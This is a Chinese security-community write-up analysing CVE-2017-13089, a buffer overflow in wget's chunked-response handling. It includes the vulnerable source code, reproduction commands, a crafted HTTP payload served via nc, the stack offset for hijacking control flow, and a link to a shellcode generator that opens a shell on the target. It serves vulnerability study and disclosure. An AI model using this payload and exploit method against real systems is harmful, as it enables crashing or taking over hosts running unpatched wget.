Wget缓冲区溢出漏洞分析—【CVE-2017-13089】

大又甜的西瓜 / 2017-11-21 11:22:00 / 浏览数 2253 技术文章 技术文章 顶(0) 踩(0)

作者:k2yk
日期：2017/11/13
最后更新日期：2017/11/15

0x00 漏洞描述

在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报，这里做一个wget缓冲区溢出漏洞的分析。在 wget 版本小于1.19.2 的情况下，wget 在处理重定向时，会调用 `http.c:skip_short_body()`函数, 解析器在解析块时会使用 `strtol()` 函数读取每个块的长度，但不检查块长度是否为非负数。解析器试图通过使用 `MIN()`函数跳过块的前512个字节，最终传递参数到 `connect.c:fd_read()`中。由于 `fd_read()`仅会接受一个int参数，在攻击者试图放入一个负参数时，块长度的高32位被丢弃，使攻击者可以控制 `fd_read()`中的长度参数，产生整形缓冲区溢出漏洞。

影响范围

影响版本为：wget <=1.19.1
影响系统范围如下：

```
Ubuntu Ubuntu Linux 17.10
Ubuntu Ubuntu Linux 17.04
Ubuntu Ubuntu Linux 16.04 LTS
Ubuntu Ubuntu Linux 14.04 LTS
Redhat Virtualization Host 4
Redhat Enterprise Linux Workstation 7
Redhat Enterprise Linux Server for ARM 7
Redhat Enterprise Linux Server - TUS 7.4
Redhat Enterprise Linux Server - Extended Update Support 7.4
Redhat Enterprise Linux Server - AUS 7.4
Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux for Scientific Computing 7
Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4
Redhat Enterprise Linux for Power, little endian 7
Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4
Redhat Enterprise Linux for Power, big endian 7
Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4
Redhat Enterprise Linux for IBM z Systems 7
Redhat Enterprise Linux EUS Compute Node 7.4
Redhat Enterprise Linux Desktop 7
Redhat Enterprise Linux 7
GNU wget 0
```

在实际测试过程中，这个漏洞会因为某些系统修改过wget而导致无法复现。

0x01 漏洞分析

环境复现

现在本地搭建一个漏洞复现环境，漏洞复现过程这里推荐两个方案，一个是漏洞发现作者在git 上进行发布的dockerfile ，另外一个是自己进行编译的版本。

CVE-2017-13089 的git 环境地址 https://github.com/r1b/CVE-2017-13089

- 使用方法

```
# Build the container
docker build -t cve201713089 .
# OR ...
docker pull robertcolejensen/cve201713089

# Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src`
./run.sh

# Run the included DoS PoC
./run.sh dos
```

```
# Run the included exploit PoC (wip)
./run.sh exploit
```

- 其次就是通过自己编译进行复现

```shell
# ■■wget
wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz

# ■■
tar zxvf wget-1.19.1.tar.gz

#■■■■
cd wget-1.19.1

#■■
./configure
make

cd src

■■
nc -lp 6666 < payload & ./wget localhost:6666
```

下方为payload 文件：

```
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
```

漏洞复现

下图为复现过程

分析

利用分析工具以及payload的相关特性，

我们根据分析工具的分析结果，除却引发漏洞的异常抛出外，我们发现了一个特别的函数skip_short_body。

```
static bool skip_short_body (int fd, wgint contlen, bool chunked)
{
 enum {
   SKIP_SIZE = 512,                /* size of the download buffer */
   SKIP_THRESHOLD = 4096        /* the largest size we read */
 };
 wgint remaining_chunk_size = 0;
 char dlbuf[SKIP_SIZE + 1];
 dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

 /* If the body is too large, it makes more sense to simply close the
    connection than to try to read the body.  */
 if (contlen > SKIP_THRESHOLD)
   return false;

 while (contlen > 0 || chunked)
   {
     int ret;
     if (chunked)
       {
         if (remaining_chunk_size == 0)
           {
             char *line = fd_read_line (fd);
             char *endl;
             if (line == NULL)
               break;
```

```
            remaining_chunk_size = strtol (line, &endl, 16);
            xfree (line);

            if (remaining_chunk_size == 0)
              {
                line = fd_read_line (fd);
                xfree (line);
                break;
              }
          }

        contlen = MIN (remaining_chunk_size, SKIP_SIZE);
      }

    DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

    ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
    if (ret <= 0)
      {
        /* Don't normally report the error since this is an
           optimization that should be invisible to the user.  */
        DEBUGP (("] aborting (%s).\n",
                 ret < 0 ? fd_errstr (fd) : "EOF received"));
        return false;
      }
    contlen -= ret;

    if (chunked)
      {
        remaining_chunk_size -= ret;
        if (remaining_chunk_size == 0)
          {
            char *line = fd_read_line (fd);
            if (line == NULL)
              return false;
            else
              xfree (line);
          }
      }

    /* Safe even if %.*s bogusly expects terminating \0 because
       we've zero-terminated dlbuf above.  */
    DEBUGP (("%.*s", ret, dlbuf));
  }

 DEBUGP (("] done.\n"));
 return true;
}
```

根据这段代码逻辑，我们可以简单的理出一个简单的代码逻辑。
wget 在检测 short_body 的时候 先要检测出传输的块的大小，假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内。

```
if (contlen > SKIP_THRESHOLD)
return false;

while (contlen > 0 || chunked)
{
 int ret;
 if (chunked)
   {
     if (remaining_chunk_size == 0)
       {
         char *line = fd_read_line (fd);
         char *endl;
         if (line == NULL)
           break;

         remaining_chunk_size = strtol (line, &endl, 16);
```

```
          xfree (line);

          if (remaining_chunk_size == 0)
            {
              line = fd_read_line (fd);
              xfree (line);
              break;
            }
        }

 contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
```

从这段代码中分析出，`contlen = MIN (remaining_chunk_size, SKIP_SIZE);`只需小于512时，`contlen`可控，综合上述代码逻辑，可以得出`remaining_chunk_size`位负值时，`contlen`为可控向量。在后面的代码逻辑中，`fd_read()`使用了该受控制的向量，引发了缓冲区溢出漏洞。

```
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
 struct transport_info *info;
 LAZY_RETRIEVE_INFO (info);
 if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
   return -1;
 if (info && info->imp->reader)
   return info->imp->reader (fd, buf, bufsize, info->ctx);
 else
   return sock_read (fd, buf, bufsize);
}
```

我们可以看到在利用GDB进行调试的情况下，成功控制了利用溢出成功劫持了下一步执行的地址。

进入栈执行

利用成功演示

EXP 构造

EXP的构造主要有2个要点:

- 第一 栈的定位
- 第二 偏移量

偏移量这个点，根据写入栈的地址以及控制返回的栈地址我们可以得出，能够控制 RBP 的地址在写入栈的地址后的568位。因此，我们在构造EXP时，将即将控制栈的地址在shellcode 的568位后写入，即可实现对指针的控制。

0x02 POC

ShellCode生成脚本：
https://github.com/mzeyong/CVE-2017-13089

使用方式：

```
python shellcode.py & nc -lp 80 < payload
```

该 ShellCode会在目标机器开启一个新的 shell，无其他危害，仅为演示证明漏洞存在。如果有小伙伴对通用型exp构造有兴趣可以一起交流！！！

上一篇：深入理解XSS编码--浏览器解析原... 下一篇：某系列光猫几处漏洞分析

1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板